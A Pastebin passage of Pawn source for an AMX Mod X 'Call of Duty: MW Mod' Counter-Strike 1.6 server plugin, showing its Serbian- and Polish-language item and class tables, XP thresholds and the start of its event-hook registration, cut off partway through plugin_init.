Advertisement
RuleBreaker

Untitled

Feb 2nd, 2012
4,752
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 142.21 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <cstrike>
  4. #include <fun>
  5. #include <fakemeta>
  6. #include <engine>
  7. #include <hamsandwich>
  8. #include <nvault>
  9. #include <colorchat>
  10.  
  11. #define PLUGIN "Call of Duty: MW Mod"
  12. #define VERSION "0.7.9 Beta"
  13. #define AUTHOR "QTM_Peyote"
  14.  
  15. new bool:bSilent[33]
  16. new Odliczanie[33]
  17. new itemo[33]
  18.  
  19. #define ZADANIE_POKAZ_INFORMACJE 672
  20. #define ZADANIE_WSKRZES 704
  21. #define ZADANIE_WYSZKOLENIE_SANITARNE 736
  22. #define ZADANIE_POKAZ_REKLAME 768
  23. #define ZADANIE_USTAW_SZYBKOSC 832
  24. #define ZADANIE_ODBIJAJ -96
  25.  
  26. #define TASKID_REVIVE 1337
  27. #define TASKID_RESPAWN 1338
  28. #define TASKID_CHECKRE 1339
  29. #define TASKID_CHECKST 13310
  30. #define TASKID_ORIGIN 13311
  31. #define TASKID_SETUSER 13312
  32.  
  33. #define pev_zorigin pev_fuser4
  34. #define seconds(%1) ((1<<12) * (%1))
  35. #define Keysrod (1<<0)|(1<<1)|(1<<9) // Keys: 1234567890
  36.  
  37. new SyncHudObj
  38. new SyncHudObj2
  39. new SyncHudObj3
  40. new g_msg_screenfade
  41.  
  42. new sprite_white
  43. new sprite_blast
  44.  
  45. new g_vault
  46.  
  47. new podkladajacy
  48. new rozbrajajacy
  49.  
  50. new doswiadczenia_za_zabojstwo
  51. new doswiadczenie_za_bombe
  52. new doswiadczenie_za_wygrana
  53. new doswiadczenie_za_hs
  54. new oddaj_id[33]
  55. new bool:dostal_przedmiot[33]
  56.  
  57. new Ubrania_CT[4][] = {"sas","gsg9","urban","gign"}
  58. new Ubrania_Terro[4][] = {"arctic","leet","guerilla","terror"}
  59.  
  60. new const maxAmmo[31] = {0,52,0,90,1,32,1,100,90,1,120,100,100,90,90,90,100,120,30,120,200,32,90,120,90,2,35,90,90,0,100}
  61. new const maxClip[31] = {-1,13,-1,10,1,7,1,30,30,1,30,20,25,30,35,25,12,20,10,30,100,8,30,30,20,2,7,30,30,-1,50}
  62.  
  63. new g_msgHostageAdd, g_msgHostageDel
  64.  
  65. new pozostale_elektromagnesy[33]
  66.  
  67. new pcvar_ilosc_elektromagnesow, pcvar_zasieg, pcvar_widocznosc_fali
  68.  
  69. new informacje_przedmiotu_gracza[33][2]
  70. new const nazwy_przedmiotow[][] = {
  71. "Nema",
  72. "Napad Cizme", //1
  73. "Dvostruki Prsluk", //2
  74. "Robusna Vest", //3
  75. "Veteran sa Nozem", //4
  76. "Iznenadjenje Enemi", //5
  77. "Manto Partizana", //6
  78. "Morfijum", //7
  79. "Noz Komandosa", //8
  80. "Prirucnik Spijuna", //9
  81. "Misterija Generala", //10
  82. "Nindza Beleske", //11
  83. "Misterija Vojske", //12
  84. "AWP Snajper", //13
  85. "Adrenalin", //14
  86. "Misterija Ramba", //15
  87. "Obuka Voda", //16
  88. "NASA Prsluk", //17
  89. "Obuceni Veteran", //18
  90. "Komplet Za Prvu Pomoc", //19
  91. "Eliminator", //20
  92. "Titanijum Municija", //21
  93. "Municija Pukovnika", //22
  94. "Zaustavi da se siri", //23
  95. "SWAT Stit", //24
  96. "Obuceni Regrut", //25
  97. "Nomekov Oklop", //26
  98. "Beleske Kapetana", //27
  99. "Jet Modul", //28
  100. "Stil Jeremejskog Ratnika", //29
  101. "Misterija Komandosa", //30
  102. "Misterija Gieki", //31
  103. "Oprema Generala", //32
  104. "San Komandosa", //33
  105. "Deagle Master", //34
  106. "Sacmara Pro", //35
  107. "Telo Duxa" , //36
  108. "MC DONALD", //37
  109. "Set Lekara", //38
  110. "Eulia", //39
  111. "Zver", //40
  112. "Monari", //41
  113. "Rucak Generala", //42
  114. "Privatni Kondon", //43
  115. "Azijski Zraci", //44
  116. "Lik Jabola", //45
  117. "Oklop Samuraja", //46
  118. "Unik Gorusia", //47
  119. "Madjionicar", //48
  120. "Kletva Bandita", //49
  121. "Piwo Generala", //50
  122. "Poomoc Cevi", //51
  123. "Gordon Odbrana", //52
  124. "Snajper Komplet", //53
  125. "Misterija", //54
  126. "Trava", //55
  127. "Stil Ratnika", //56
  128. "Partizanski Bron", //57
  129. "Zajebi Samuraja", //58
  130. "Pro Vestina", //59
  131. "M4 Swatu", //60
  132. "Minolovac", //61
  133. "Galil Terorizma", //62
  134. "Vodic Snajpera", //63
  135. "Ranac Lopova", //64
  136. "Nevbia Haos", //65
  137. "Stomak Doknes", //66
  138. "Set Stuntera", //67
  139. "Kasike MakGajvera", //68
  140. "Aimerka Stunterra", // 69
  141. "Slepilo Stunterra", //70
  142. "HP BOOSTER", //71
  143. "SUPER AMMO", //72
  144. "Sisati Zivot", //73
  145. "Razbrojac", //74
  146. "Rusitelj", //75
  147. "Teleport", //76
  148. "Okretan", // 77
  149. "Misterija Nindze", //78
  150. "Misterija Stuntera", //79
  151. "Set Stunter Gume", // 80
  152. "Marfi Misterija", //81
  153. "Misterija Izgubljeni", //82
  154. "Lastis Guma", //83
  155. "Lazan C4",//84
  156. "Vojni Elektromagnet", //85
  157. "Radar Telegrafista", //86
  158. "Teski Oklop", //87
  159. "Osveta", //88
  160. "Curug-cs.com", //89
  161. "Jumper" //90
  162. }
  163.  
  164. new const opisy_przedmiotow[][] = {
  165. "Ubij nekoga da dobijes predmet", //!=
  166. "Necujno Trcanje", //1
  167. "Smanjuje Ostecenja Igracu LW", //2
  168. "Smanjuje Ostecenja Igracu LW", //3
  169. "Zadaje Vecu Povredu Nozem", //4
  170. "Kada Pogodite Nekoga Od Pozadi Povrede Su 2 Puta Vece", //5
  171. "Imate premije slepa", //6
  172. "1/LW Sanse za ponovno ozivljavanje", //7
  173. "Instant Kill nozem", //8
  174. "Imate 1/LW sanse da odmah ubijete sa HE. Takodje imate odecu neprijatelja", //9
  175. "Neposredno ubijanje granatem HE. Nanese LW dodatnu odstetu", //10
  176. "Mozete skociti dupli skok u vazduh", //11
  177. "Vase povrede su smanjene za 5 .Imate mogucnosti za zaslepite neprijatelja", //12
  178. "Instant Kill sa AWP", //13
  179. "Za svako ubistvo dobijate 50 zivota", //14
  180. "Za svako ubistvo dobijate pun magazin i +20 hp", //15
  181. "Dobijate 10 HP na svaki 5 sekundi", //16
  182. "Imate 500 Oklopa", //17
  183. "Dobijate na svakoj rundi +100 HP al kretanj sporije", //18
  184. "Koristite ga da se izleci na maksimalni broj HP", //19
  185. "Nemate serenje oruzja (nisana)", //20
  186. "Nanosite vise stete 10", //21
  187. "Nanosite vise stete 20", //22
  188. "Vasa disperzija je manja", //23
  189. "Ne radi na vas nijedan predmet", //24
  190. "Dobijate +50 HP na svakoj rundi,ali ste sporiji", //25
  191. "Imate 1/LW sanse na oporavak oklopa", //26
  192. "Vi ste otporni na 3 metka na svakoj rundi", //27
  193. "Pritisnite CTRL i SPACE da koristite ovaj modul na 4 sekunde", //28
  194. "Vi ste brzi 20, i smanjene odstete od 10,do +50 hp", //29
  195. "Dobijate +100hp, +20 do ostecenja,i tvoja oprema je samnjena za 30", //30
  196. "+25 dmg, kameleon, 1/LW od HE", //31
  197. "Dobijate AWP i AK za pocetak, tixu opremu za kretanje 1/1 za AWP", //32
  198. "Svake Runde Dobijate M4A1", //33
  199. "1/LW Ubistvo sa deagle", //34
  200. "1/LW da ubijete sa Shotguna", //35
  201. "Postavlja zeleni sloj debljine od 30 i nanosi vise stete od 9", //36
  202. "Dobijate svake runde +100hp",//37
  203. "Imate 5 Kompleta", //38
  204. "Skok Iznad", //39
  205. "Ide brze exp", //40
  206. "Ono sto 5 sekundi regenerise 15hp", //41
  207. "Dobijate +100 HP, tiho trcanje oduzima vise stete od 8", //42
  208. "Smanjuje ostecenja,uzima za 10,da trci brze, +10 dmg", //43
  209. "Imate auto bunny hop + 70hp", //44
  210. "Ovaj predmet mozete koristiti jednom u rundi,regenerise u potpunosti HP", //45
  211. "500 panzira, 1/LW sanse na odraz metka", //46
  212. "20% za izbegavanj rakete", //47
  213. "Kada cucnete postanete nevidljivi", //48
  214. "10 sekundi mozete prolaziti kroz zidove.", //49
  215. "+10 dmg, tixo trcanje, szybszy biego o 50 jednostek +100 hp", //50
  216. "+5 dmg i da smanji stenu na 7 dmg", //51
  217. "Besmrtan 5 sekundi", //52
  218. "1/1 Awp , 1/2 DGL", //53
  219. "JESTES PRO !!!", //54
  220. "Kameleon i 1/LW sa scouta", //55
  221. "Slobodno m4a1 + 1/LW sa njim", //56
  222. "Slobodno Ak + 1/LW sa njim", //57
  223. "+20 dmg, tixo radi", //58
  224. "+15 dgm, tixi koraci, 1/3 za HE", //59
  225. "Imate 1/LW sa m4 +oruzje", //60
  226. "Dobijate 5 minuta", //61
  227. "Dobijate galila + 1/LW sa njim", //62
  228. "Imate ZOOM na sva oruzja", //63
  229. "Vi ste bogati", //64
  230. "Vi ste imuni na HeadShot", //65
  231. "Moze da ubije samo HeadShot", //66
  232. "1/2 z Usp, kameleon i 1/5 sa mp5", //67
  233. "Beskrajna municija", //68
  234. "1/10 od headshota sa AWP", //69
  235. "Imate vece sirenj oruzja +100 HP povrede su smanjene za 10", //70
  236. "Dobijate dodatnih 100 HP na pocetku svake runde +25 hp za svako ubistvo", //71
  237. "Za svako ubistvo dobijate pun magazin", //72
  238. "Ako udaris nekoga krades mu HP i sebi dajes", //73
  239. "Ako pitate nekoga pomaze 40 ostecenja i pada svoje oruzje", //74
  240. "Za 10 sekundi mozete da setate kroz zidove", //75
  241. "Mozete se teleportovati na neko drugo mesot", //76
  242. "Instant preopterecenje", //77
  243. "Smanjena Gravitacija i manja vidljivost za noz", //78
  244. "+15 dmg + 10 jedinica,brzina,3 mine",//79
  245. "+ LW hp dobijate M3 i 1\5 ", //80
  246. "-(minus) 10 primljenih dmg, +20dmg i +25hp za ubistvo", //81
  247. "25 HP ukupno su nevidljivi 1/1 sa noza", //82
  248. "Vidljivost smanjena na 15,90 HP 1/1 sanse povrede su smanjene za 5", //83
  249. "Mozete postaviti bomby a zatim lazno detonira",//84
  250. "Svaki krug mozete postaviti elektro magnet.Delovanje zavisi od inteligencije", //85
  251. "Vi vidite neprijatelja na radaru", //86
  252. "Koristite je za 3 sekunde da povrati povrede", //87
  253. "Dobijate cim pocne 50% vise HP kao sto ubije nekoga bez HS gubi svoj zivot", //88
  254. "Twoja-Siec.pl item na 1 runde pozniej sie wyrzuca sam ma 180% szybkosci + niewidzialnosc 1hp i noz z 10 granatami HE oraz przenikanie przez sciany przez 15 sec", //89
  255. "Mozete zaustaviti vreme na 3 sekunde.Predmet za jednu upotrebu" //90
  256. }
  257.  
  258. new zatrzymaj_czas
  259.  
  260. new nazwa_gracza[33][64]
  261. new klasa_gracza[33]
  262. new poziom_gracza[33] = 1
  263. new doswiadczenie_gracza[33]
  264.  
  265. new nowa_klasa_gracza[33]
  266.  
  267. new const doswiadczenie_poziomu[] = {
  268. 0,35,140,315,560,875,1260,1715,2240,2835,3500,4235,5040,5915,6860,7875,8960,10115,11340,
  269. 12635,14000,15435,16940,18515,20160,21875,23660,25515,27440,29435,31500,33635,35840,38115,
  270. 40460,42875,45360,47915,50540,53235,56000,58835,61740,64715,67760,70875,74060,77315,80640,
  271. 84035,87500,91035,94640,98315,102060,105875,109760,113715,117740,121835,126000,130235,
  272. 134540,138915,143360,147875,152460,157115,161840,166635,171500,176435,181440,186515,191660,
  273. 196875,202160,207515,212940,218435,224000,229635,235340,241115,246960,252875,258860,264915,
  274. 271040,277235,283500,289835,296240,302715,309260,315875,322560,329315,336140,343035,350000,
  275. 357035,364140,371315,378560,385875,393260,400715,408240,415835,423500,431235,439040,446915,
  276. 454860,462875,470960,479115,487340,495635,504000,512435,520940,529515,538160,546875,555660,
  277. 564515,573440,582435,591500,600635,609840,619115,628460,637875,647360,656915,666540,676235,
  278. 686000,695835,705740,715715,725760,735875,746060,756315,766640,777035,787500,798035,808640,
  279. 819315,830060,840875,851760,862715,873740,884835,896000,907235,918540,929915,941360,952875,
  280. 964460,976115,987840,999635,1011500,1023435,1035440,1047515,1059660,1071875,1084160,1096515,
  281. 1108940,1121435,1134000,1146635,1159340,1172115,1184960,1197875,1210860,1223915,1237040,
  282. 1250235,1263500,1276835,1290240,1303715,1317260,1330875,1344560,1358315,1372140,1386035,
  283. 1400000
  284. }
  285.  
  286. new punkty_gracza[33]
  287. new zdrowie_gracza[33]
  288. new inteligencja_gracza[33]
  289. new bool: pomocs[33]
  290. new wytrzymalosc_gracza[33]
  291. new Float:redukcja_obrazen_gracza[33]
  292. new kondycja_gracza[33]
  293. new maksymalne_zdrowie_gracza[33]
  294. new Float:szybkosc_gracza[33]
  295. new wytrzymalosc_itemu[33]
  296.  
  297. enum {
  298. NONE = 0,
  299. Snajperista,
  300. Marinac,
  301. ProStrelac,
  302. Mitraljezac,
  303. Doktor,
  304. VatrenaPodrska,
  305. Miner,
  306. Demolitions,
  307. Rusher,
  308. Rambo,
  309. Revolveras,
  310. Bombarder,
  311. Strelac,
  312. Informator,
  313. Pukovnik,
  314. Pobunjenik,
  315. SerijskiUbica,
  316. Desetar,
  317. Vodnik,
  318. Kamikaza,
  319. Assassin,
  320. Major,
  321. Kapetan,
  322. Potpukovnik,
  323. Marsal,
  324. NemackiStrelac,
  325. RuskiPukovnik,
  326. PoljskaPesadija,
  327. Mornar,
  328. Napadac ,
  329. Legija,
  330. Armageddon,
  331. Samuraj,
  332. RatkoMladic,
  333. SWAT,
  334. Partizan,
  335. Gunner,
  336. Cleric,
  337. General,
  338. Terminator,
  339. Slayer,
  340. Zastavnik,
  341. Admiral,
  342. Fighter,
  343. Policajac,
  344. Specijalac,
  345. Predator,
  346. NemackiOficir,
  347. Cetnik,
  348. ProfVojnik,
  349. Crysis,
  350. ProfStrelac
  351. }
  352.  
  353. new const zdrowie_klasy[] = { //Helti Klase
  354. 0, //NONE
  355. 120, //Snajperista
  356. 140, //Marinac
  357. 130, //Pro-Strelac
  358. 120, //Mitraljezac
  359. 110, //Doktor
  360. 100, //Vatrena Podrska
  361. 100, //Miner
  362. 110, //Demolitions
  363. 100, //Rusher
  364. 130, //Rambo
  365. 120, //Revolveras
  366. 110, //Bombarder
  367. 120, //Strelac
  368. 70, //Informator
  369. 110, //Pukovnik
  370. 150, //Pobunjenik
  371. 110, //Serijski ubica
  372. 120, //Desetar
  373. 110, //Vodnik
  374. 120, //Kamikaza
  375. 150, //Assassin
  376. 100, //Major
  377. 100, //Kapetan
  378. 100, //Potpukovnik
  379. 120, //Marsal
  380. 120, //Nemacki strelac
  381. 130, //Ruski pukovnik
  382. 100, //Poljska pesadija
  383. 110, //Mornar
  384. 150, //Napadac
  385. 100, //Legija
  386. 160, //Armageddon
  387. 100, //Samuraj
  388. 150, //Ratko Mladic
  389. 150, //SWAT
  390. 100, //Partizan
  391. 125, //Gunner
  392. 100, //Cleric
  393. 130, //General
  394. 140, //Terminator
  395. 80, //Slayer
  396. 110, //Zastavnik
  397. 125, //Admiral
  398. 150, //Fighter
  399. 120, //Policajac
  400. 110, //Specijalac
  401. 100, //Predator
  402. 105, //NemackiOficir
  403. 124, //Cetnik
  404. 130, //ProfVojnik
  405. 80, //Crysis
  406. 105 //ProfStrelac
  407. }
  408.  
  409. new const Float:szybkosc_klasy[] = { //Brzina Klase
  410. 0.0, //None
  411. 1.3, //Snajperi
  412. 1.35, //Marinac
  413. 1.0, //Pro-Strelac
  414. 0.8, //Mitraljezac
  415. 1.5, //Doktor
  416. 1.2, //Vatrena Podrska
  417. 1.1, //Miner
  418. 1.1, //Demolitions
  419. 1.3, //Rusher
  420. 1.2, //Rambo
  421. 1.1, //Revolveras
  422. 1.1, //Bombarder
  423. 1.0, //Strelac
  424. 1.6, //Informator
  425. 1.1, //Pukovnik
  426. 1.4, //Pobunjenik
  427. 1.0, //Serijski ubica
  428. 1.0, //Desetar
  429. 1.1, //Vodnik
  430. 1.0, //Kamikaza
  431. 1.4, //Assassin
  432. 1.2, //Major
  433. 1.0, //Kapetan
  434. 1.6, //Potpukovnik
  435. 1.1, //Marsal
  436. 1.0, //Nemacki strelac
  437. 1.0, //Ruski pukovnik
  438. 1.2, //Poljska pesadija
  439. 0.7, //Mornar
  440. 1.2, //Napadac
  441. 1.0, //Legija
  442. 1.0, //Armageddon
  443. 1.4, //Samuraj
  444. 1.4, //Ratko Mladic
  445. 1.3, //SWAT
  446. 1.3, //Partizan
  447. 1.0, //Gunner
  448. 1.2, //Cleric
  449. 1.2, //General
  450. 1.4, //Terminator
  451. 1.6, //Slayer
  452. 1.4, //Zastavnik
  453. 1.1, //Admiral
  454. 1.4, //Fighter
  455. 1.2, //Policajac
  456. 1.8, //Specijalac
  457. 1.3, //Predator
  458. 1.0, //NemackiOficir
  459. 1.2, //Cetnik
  460. 1.6, //ProfVojnik
  461. 1.8, //Crysis
  462. 1.0 //ProfStrelac
  463. }
  464.  
  465. new const pancerz_klasy[] = { //Armor Klase
  466. 0, //None
  467. 100, //Snajperi
  468. 100, //Marinac
  469. 100, //Pro-Strelac
  470. 40, //Mitraljezac
  471. 0, //Doktor
  472. 0, //Vatrena Podrska
  473. 0, //Miner
  474. 100, //Demolitions
  475. 40, //Rusher
  476. 0, //Rambo
  477. 0, //Revolveras
  478. 100, //Bombarder
  479. 40, //Strelac
  480. 0, //Informator
  481. 0, //Pukovnik
  482. 150, //Pobunjenik
  483. 90, //Serijski ubica
  484. 0, //Desetar
  485. 200, //Vodnik
  486. 0, //Kamikaza
  487. 100, //Assassin
  488. 0, //Major
  489. 0, //Kapetan
  490. 200, //Potpukovnik
  491. 0, //Marsal
  492. 100, //Nemacki strelac
  493. 0, //Ruski pukovnik
  494. 0, //Poljska pesadija
  495. 100, //Mornar
  496. 0, //Napadac
  497. 0, //Legija
  498. 120, //Armageddon
  499. 0, //Samuraj
  500. 150, //Ratko Mladic
  501. 110, //SWAT
  502. 100, //Partizan
  503. 100, //Gunner
  504. 150, //Cleric
  505. 120, //General
  506. 50, //Terminator
  507. 120, //Slayer
  508. 300, //Zastavnik
  509. 70, //Admiral
  510. 100, //Fighter
  511. 50, //Policajac
  512. 0, //Specijalac
  513. 25, //Predator
  514. 80, //NemackiOficir
  515. 100, //Cetnik
  516. 90, //ProfVojnik
  517. 10, //Crysis
  518. 45 //ProfStrelac
  519. }
  520.  
  521. new const nazwy_klas[][] = {
  522. "Nema",
  523. "Snajperista",
  524. "Marinac",
  525. "Pro-Strelac",
  526. "Mitraljezac",
  527. "Doktor",
  528. "Vatrena podrska",
  529. "Miner",
  530. "Demolitions",
  531. "Rusher",
  532. "Rambo (200 Din Mesecno)",
  533. "Revolveras",
  534. "Bombarder",
  535. "Strelac",
  536. "Informator",
  537. "Pukovnik",
  538. "Pobunjenik",
  539. "Serijski ubica",
  540. "Desetar",
  541. "Vodnik",
  542. "Kamikaza",
  543. "Assassin (250 Din Mesecno)",
  544. "Major (200 Din Mesecno)",
  545. "Kapetan",
  546. "Potpukovnik",
  547. "Marsal",
  548. "Nemacki strelac",
  549. "Ruski pukovnik",
  550. "Poljska pesadija",
  551. "Mornar",
  552. "Napadac ",
  553. "Legija",
  554. "Armageddon (200 Din Mesecno)",
  555. "Samuraj",
  556. "Ratko Mladic (200 Din Mesecno)",
  557. "SWAT",
  558. "Partizan",
  559. "Gunner",
  560. "Cleric",
  561. "General (200 Din Mesecno)",
  562. "Terminator",
  563. "Slayer (150 Din Mesecno)",
  564. "Zastavnik",
  565. "Admiral",
  566. "Fighter (200 Din Mesecno)",
  567. "Policajac",
  568. "Specijalac",
  569. "Predator",
  570. "Nemacki Oficir",
  571. "Cetnik",
  572. "Profesionalni Vojnik",
  573. "Crysis",
  574. "Profesionalni Strelac"
  575. }
  576.  
  577. new const frakcje[][] = {
  578. "Nema",
  579. "Obicne Klase",
  580. "Premium Klase"
  581. }
  582.  
  583. enum { NONE = 0, o, p }
  584.  
  585. new const nalezy_do[] = {
  586. NONE,
  587. o,
  588. o,
  589. o,
  590. o,
  591. o,
  592. o,
  593. o,
  594. o,
  595. o,
  596. p,
  597. o,
  598. o,
  599. o,
  600. o,
  601. o,
  602. o,
  603. o,
  604. o,
  605. o,
  606. o,
  607. p,
  608. p,
  609. o,
  610. o,
  611. o,
  612. o,
  613. o,
  614. o,
  615. o,
  616. o,
  617. o,
  618. p,
  619. o,
  620. p,
  621. o,
  622. o,
  623. o,
  624. o,
  625. p,
  626. o,
  627. p,
  628. o,
  629. o,
  630. p,
  631. o,
  632. o,
  633. o,
  634. o,
  635. o,
  636. o,
  637. o,
  638. o
  639. }
  640.  
  641. new frakcja_gracza[33]
  642.  
  643. new const opisy_klas[][] = {
  644. "Nema",
  645. "Dobija AWP, Deagle i Scout, 120 HP, 100 AP, 1/3 sanse za instant ubistvo nozem i 130% brzinu.",
  646. "Dobija Deagle, odma ubija nozem, 140 HP, 100 AP i 135% brzinu.",
  647. "Dobija Dobija AK47, M4A1, 110 HP, 100 AP i 80% brzinu.",
  648. "Dobija Dobija M249, otporan na mine, ima sve bombe, 120 HP, 150 AP i 80% brzinu.",
  649. "Dobija UMP45, komplet za prvu pomoc, 110 HP, 100 AP i 150% brzinu.",
  650. "Dobija MP5, HE grenade, 2 rakete, 100 HP, 100 AP i 120% brzinu.",
  651. "Dobija P90, 3 mine, 100 HP, 100 AP i 110% brzinu.",
  652. "Dobija Aug, sve bombe, dinamit koji ubija sve u krugu od 1m, 110 HP, 100 AP i 110% brzinu.",
  653. "Dobija M3, 100 HP, 100 AP i 130% brzinu.",
  654. "Dobija Famas, za svako ubistvo + 20hp i pun sanzer, dupli skok, 130 HP, 150 AP i 120% brzinu.",
  655. "Dobija Elites, 1 raketa, 120 HP, 0 AP i 110% brzinu.",
  656. "Dobija Dobija M4A1, Deagle, 140 HP, 100 AP i 90% brzinu.",
  657. "Dobija Dobija XM1014, Elites, 120 HP, 40 AP i 100% brzinu.",
  658. "Dobija MP5, 70 HP, 0 AP i 160% brzinu.",
  659. "Dobija Famas, Deagle, 110 HP, 0 AP i 110% brzinu i 2 mine.",
  660. "Dobija SG552 + 1 minu + 1 HE, 100hp",
  661. "Dobija M4A1, Smoke grenade, 110 HP, 100 AP i 100% brzinu.",
  662. "Dobija Scout(zadaje 10% vise stete), Deagle, 120 HP, 40 AP i 100% brzinu.",
  663. "Dobija M3, 110 Hp, 0 AP i 110% brzinu.",
  664. "Dobija M4A1, 2 rakete, 120 HP, 0 AP i 100% brzinu.",
  665. "Dobija Deagle, nevidljiv je, 30 HP, 0 AP i 200% brzinu i instant kill nozem (desni klik)",
  666. "Dobija sve pistolje, 10 mina, 90 HP, 0 AP i 110% brzinu.",
  667. "Dobija Aug, 100 HP, 0 AP i 100% brzinu.",
  668. "Dobija awp+deagle, 100 HP, 200 AP i 100% brzinu i manje je vidljiv",
  669. "Dobija Deagle, 120 HP, 0 AP i 120% brzinu.",
  670. "Dobija Ak47, 2 rakete, 90 HP, 100 AP i 120% brzinu.",
  671. "Dobija M4A1, 1 minu, 130 HP, 0 AP i 70% brzinu.",
  672. "Dobija MP5, 2 dinamita, 100 HP, 0 AP i 100% brzinu.",
  673. "Dobija Mac10, ima 50% gravitacije, 110 HP, 100 AP i 100% brzinu i 2 mine.",
  674. "Dobija Famas+P90, smanjena gravitacija, 150 HP, 0 AP i 250% brzinu i 3 dinamita.",
  675. "Dobija M4A1, Deagle, 100 HP, 0 AP i 100% brzinu.",
  676. "Dobija AK47, AUG, HE, 160 HP, 120 AP i 140% brzinui manje je vidljiv i 2 dinamita.",
  677. "Dobija usp, 100 HP, 0 AP i 120% brzinu.",
  678. "Dobija Scout(instant kill), Deagle, dupli skok, 140 HP, 150 AP i 130% brzinui 5 raketa.",
  679. "Dobija M4A1, USP, 150 HP, 110 AP i 10% brzinu.",
  680. "Dobija P90, Flash grenade, manje je vidljiv, 100 HP, 100 AP i 100% brzinu.",
  681. "Dobija G3SG1, Deagle, HE grenade, 1 raketu, 125 HP, 100 AP i 120% brzinu.",
  682. "Dobija AK47, Elites, 100 HP, 50 AP i 120% brzinui 3 mine.",
  683. "Dobija M4A1,P90,kamuflaza,1/10 sanse za instant ubistva DGL-om,130 HP,120 AP i 140% brzinu.",
  684. "Dobija AK47+Deagle, 140 HP, 50 AP i 120% brzinu.",
  685. "Dobija Famas, P90, 3 rakete, 110 HP, 120 AP i 140% brzinu i ubija instant sa nozem.",
  686. "Dobija M4A1, P90, Deagle, 2 rakete, 90 HP, 300 AP i 140% brzinu.",
  687. "Dobija AK47, Famas, 125 HP, 70 AP i 110% brzinu.",
  688. "Dobija M4A1,Scout,USP,2 dinamita,dupli skok,150 HP i 140% brzinu, 1/3 za instant kill nozem.",
  689. "Dobija XM1014, TMP, fiveseven, 150 HP, 50 AP i 120% brzinu.",
  690. "Dobija FAMAS, P228, , 110 HP, 0 AP i 150% brzinu.",
  691. "Dobija sg552, glock18, smokegrenade 100 HP , 25 AP.",
  692. "Dobija P90, glock18 smokegrenade 105 HP, 80 AP.",
  693. "Dobija AK47, 2 HE ,2 dinamita, 124 HP , 100 AP",
  694. "Dobija FAMAS,USP,1 raketu,130 HP , 90 AP",
  695. "Dobija SG552,m4a1,2 rakete,80 HP,10 AP ,super speed,65% nevidljiv",
  696. "Dobija AWP,m4a1,105 HP,45 AP"
  697. }
  698.  
  699. new ilosc_apteczek_gracza[33]
  700. new ilosc_rakiet_gracza[33]
  701. new Float:poprzednia_rakieta_gracza[33]
  702. new ilosc_min_gracza[33]
  703. new ilosc_dynamitow_gracza[33]
  704. new ilosc_skokow_gracza[33]
  705.  
  706. new SOUND_START[] = "items/medshot4.wav"
  707. new SOUND_FINISHED[] = "items/smallmedkit2.wav"
  708. new SOUND_FAILED[] = "items/medshotno1.wav"
  709.  
  710. enum {
  711. ICON_HIDE = 0,
  712. ICON_SHOW,
  713. ICON_FLASH
  714. }
  715.  
  716. new bool:g_haskit[33]
  717. new Float:g_revive_delay[33]
  718. new Float:g_body_origin[33][3]
  719. new bool:g_wasducking[33]
  720.  
  721. new g_msg_bartime
  722. new g_msg_statusicon
  723. new g_msg_clcorpse
  724.  
  725. new cvar_revival_time
  726. new cvar_revival_health
  727. new cvar_revival_dis
  728. new bool:freezetime = true
  729. new hasZoom[33]
  730.  
  731. /* --==[ KillStreak ]==-- */
  732. static const CSW_to_offset[] = {0,385,378,388,381,390,382,389,386,383,382,380,380,380,382,386,377,386,379,381,380,386,378,387,384,380,378,0,383};
  733.  
  734. new cache_trail;
  735.  
  736. new licznik_zabic[33],radar[33],nalot[33],predator[33],nuke[33],emp[33],uav[33], pack[33]
  737. new user_controll[33]
  738. new emp_czasowe
  739.  
  740. new PobraneOrigin[3]
  741. native cod_set_user_xp(id, wartosc)
  742. native cod_get_user_xp(id)
  743. /* --==[ KillStreak ]==-- */
  744.  
  745. /* --==[ VIP ] ==-- */
  746. static const COLOR[] = "^x04" //green
  747. static const CONTACT[] = ""
  748. new maxplayers
  749. new gmsgSayText
  750. new mpd, mkb, mhb
  751. new g_MsgSync
  752. new health_add
  753. new health_hs_add
  754. new health_max
  755. new nKiller
  756. new nKiller_hp
  757. new nHp_add
  758. new nHp_max
  759. new g_vip_active
  760. new g_menu_active
  761. new bool:HasC4[33]
  762. #define DAMAGE_RECIEVED
  763. #define Keysrod (1<<0)|(1<<1)|(1<<9) // Keys: 1234567890
  764. new round;
  765. /* --==[ VIP ] ==-- */
  766.  
  767. public plugin_init()
  768. {
  769. register_plugin(PLUGIN, VERSION, AUTHOR);
  770.  
  771. g_vault = nvault_open("CodMod");
  772.  
  773. register_think("Apteczka","ApteczkaThink");
  774.  
  775. RegisterHam(Ham_TakeDamage, "player", "TakeDamage");
  776. RegisterHam(Ham_Spawn, "player", "Odrodzenie", 1);
  777. RegisterHam(Ham_Touch, "armoury_entity", "DotykBroni");
  778. RegisterHam(Ham_Touch, "weapon_shield", "DotykBroni");
  779. RegisterHam(Ham_Touch, "weaponbox", "DotykBroni");
  780. /* --==[ KillStreak ]==-- */
  781. RegisterHam(Ham_Killed, "player", "SmiercGracza", 1);
  782. RegisterHam(Ham_Touch, "player", "pack_touch", 1);
  783. /* --==[ KillStreak ]==-- */
  784.  
  785. register_forward(FM_CmdStart, "CmdStart");
  786. register_forward(FM_EmitSound, "EmitSound");
  787. register_forward(FM_EmitSound, "fwd_emitsound")
  788. register_forward(FM_PlayerPostThink, "fwd_playerpostthink")
  789. register_forward(FM_PlayerPreThink, "forward_player_prethink" );
  790. register_forward(FM_TraceLine,"fw_traceline");
  791. /* --==[ KillStreak ]==-- */
  792. register_forward(FM_Touch, "fw_Touch");
  793. register_forward(FM_PlayerPreThink, "player_predator");
  794. register_forward(FM_PlayerPreThink, "Forward_FM_PlayerPreThink")
  795. register_forward(FM_ClientKill, "cmdKill")
  796. set_task (2.0,"radar_scan2",_,_,_,"b");
  797. /* --==[ KillStreak ]==-- */
  798.  
  799. register_logevent("PoczatekRundy", 2, "1=Round_Start");
  800. register_logevent("BombaPodlozona", 3, "2=Planted_The_Bomb");
  801. register_event("SendAudio", "BombaRozbrojona", "a", "2&%!MRAD_BOMBDEF");
  802. register_event("BarTime", "RozbrajaBombe", "be", "1=10", "1=5");
  803. register_event("DeathMsg", "Death", "ade");
  804. register_event("Damage", "Damage", "b", "2!=0");
  805. register_event("CurWeapon","CurWeapon","be", "1=1");
  806. register_event("HLTV", "NowaRunda", "a", "1=0", "2=0");
  807. register_event("DeathMsg", "event_death", "a")
  808. register_event("HLTV", "event_hltv", "a", "1=0", "2=0")
  809.  
